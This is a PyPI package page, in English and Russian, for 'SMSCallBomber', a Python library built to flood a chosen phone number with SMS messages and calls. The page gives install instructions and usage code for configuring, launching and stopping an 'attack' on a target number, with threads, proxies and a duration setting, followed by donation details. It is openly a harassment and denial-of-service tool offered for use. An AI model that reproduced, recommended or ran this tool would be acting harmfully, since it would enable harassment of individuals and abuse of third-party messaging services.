SMSCallBomber
English(Русский ниже)
Description
This library provides functionality for SMS and call bombing.
Installation
You can install the SMSCallBomber library via pip:
pip install SMSCallBomber
Usage
from smscallbomber import SMSCallBomber
import time
import threading
import random
from argparse import Namespace
# Creating an instance of SMSCallBomber
args = Namespace(
country='Country code (7, 375, 380, 998 or "ALL"). Specify ALL for all countries',
phone='Phone number without "+" (e.g., 79012345678)',
time=60, # Attack duration in seconds
threads=10, # Number of concurrent threads
timeout=5, # Timeout per request in seconds
proxy=True, # True / False or your proxy:
# 'http://user:pass@ip:port'
log_file='bomber.log', # Set to None(without quotes) to disable logging to file
log_level='INFO' # Logging level: DEBUG, INFO, WARNING, ERROR, CRITICAL
)
args.time += time.time()
attack_threads = {}
bombers = {}
bomber_id = random.randint(1000000000, 9999999999)
# Starting the attack
def attack_thread_runner(args):
bomber = SMSCallBomber(args)
bombers[bomber_id] = bomber
bomber.run()
attack_threads = threading.Thread(target=attack_thread_runner, args=(args,))
attack_threads.start()
# Returns the result of the attack after it ends
attack_threads.join()
bomber = bombers[bomber_id]
successful, failed = bomber.send_report()
del attack_threads
print(f"Successfully sent (Not everyone can get there!): {successful}")
print(f"Failed to send: {failed}")
# Stopping the attack
bomber = bombers[bomber_id]
bomber.stop()
attack_threads.join()
successful, failed = bomber.send_report()
del attack_threads
print(f"Successfully sent (Not everyone can get there!): {successful}")
print(f"Failed to send: {failed}")
It is also possible to use in an asynchronous environment if you slightly modify the code and use
await bomber._run()
Donation
If you find this project helpful and would like to support its development, you can make a donation to the author.
- YooMoney: 4100118510603906
- Cards:
- 2200 7009 6755 8080 - Tinkoff
- 2202 2068 1279 8101 - Sberbank
- Other methods: t.me/BabayHelpBot
License
This project is licensed under the MIT License.
Русский
Описание
Эта библиотека предоставляет функционал для SMS бомбера со звонками.
Установка
Вы можете установить библиотеку SMSCallBomber с помощью pip:
pip install SMSCallBomber
Использование
from smscallbomber import SMSCallBomber
import time
import threading
import random
from argparse import Namespace
# Создание экземпляра SMSCallBomber
args = Namespace(
country='Код страны (7, 375, 380, 998 или "ALL"). Укажите "ALL" для всех стран',
phone='Номер телефона для атаки (без +, например: 79001234567)',
time=60, # Время атаки в секундах
threads=10, # Количество параллельных потоков
timeout=5, # Таймаут каждого запроса в секундах
proxy=True, # True / False или ваши прокси:
# 'http://user:pass@ip:port'
log_file='bomber.log', # Имя файла логов или None(без кавычек) для отключения логирования
log_level='INFO' # Уровень логирования: DEBUG, INFO, WARNING, ERROR, CRITICAL
)
args.time += time.time()
attack_threads = {}
bombers = {}
bomber_id = random.randint(1000000000, 9999999999)
# Запуск атаки
def attack_thread_runner(args):
bomber = SMSCallBomber(args)
bombers[bomber_id] = bomber
bomber.run()
attack_threads = threading.Thread(target=attack_thread_runner, args=(args,))
attack_threads.start()
# Возвращает результат атаки после её окончания
attack_threads.join()
bomber = bombers[bomber_id]
successful, failed = bomber.send_report()
del attack_threads
print(f"Успешно отправлено(Дойти могут не все!): {successful}")
print(f"Не удалось отправить: {failed}")
# Остановка атаки
bomber = bombers[bomber_id]
bomber.stop()
attack_threads.join()
successful, failed = bomber.send_report()
del attack_threads
print(f"Успешно отправлено(Дойти могут не все!): {successful}")
print(f"Не удалось отправить: {failed}")
Также возможно использование в асихронной среде, если немного переделать код и использовать
await bomber._run()
Пожертвование
Если вы нашли этот проект полезным и хотели бы поддержать его развитие, вы можете сделать пожертвование автору.
- ЮMoney: 4100118510603906
- Карты:
- 2200 7009 6755 8080 - Тинькофф
- 2202 2068 1279 8101 - Сбербанк
- Другие способы: t.me/BabayHelpBot
Лицензия
Этот проект распространяется под лицензией MIT License.
Metadata
Release files for smscallbomber 2.7
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| smscallbomber-2.7.tar.gz | 223.7 kB | Without provenance | Details for smscallbomber-2.7.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| smscallbomber-2.7-py3-none-any.whl | Python 3 | none | any | Details for smscallbomber-2.7-py3-none-any.whl |
Total release size: 450.2 kB
Release files / smscallbomber-2.7.tar.gz
| Download URL | smscallbomber-2.7.tar.gz |
|---|---|
| Size | 223.7 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
085edf705be582bb64330ee8cc327e60b4c51bfe7da8d1cc5dd0bf30bb8ac055
|
|
BLAKE2b-256 checksum How to use checksums |
bff490c9f43c8d964a6e7f9d0dd85af87d134a2dae768f6afd656915028b1cc9
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.0.1 CPython/3.10.18
|
Release files / smscallbomber-2.7-py3-none-any.whl
| Download URL | smscallbomber-2.7-py3-none-any.whl |
|---|---|
| Size | 226.6 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
d1cc1612dd2ce6274ca8e90f94050a36e0f43890e6bfa08ff3573ab412c652ec
|
|
BLAKE2b-256 checksum How to use checksums |
96f2659694ef54c9d837c7908b16b25046042c83ab3a5de2a72915caea3acf37
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.0.1 CPython/3.10.18
|
Security for smscallbomber 2.7
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.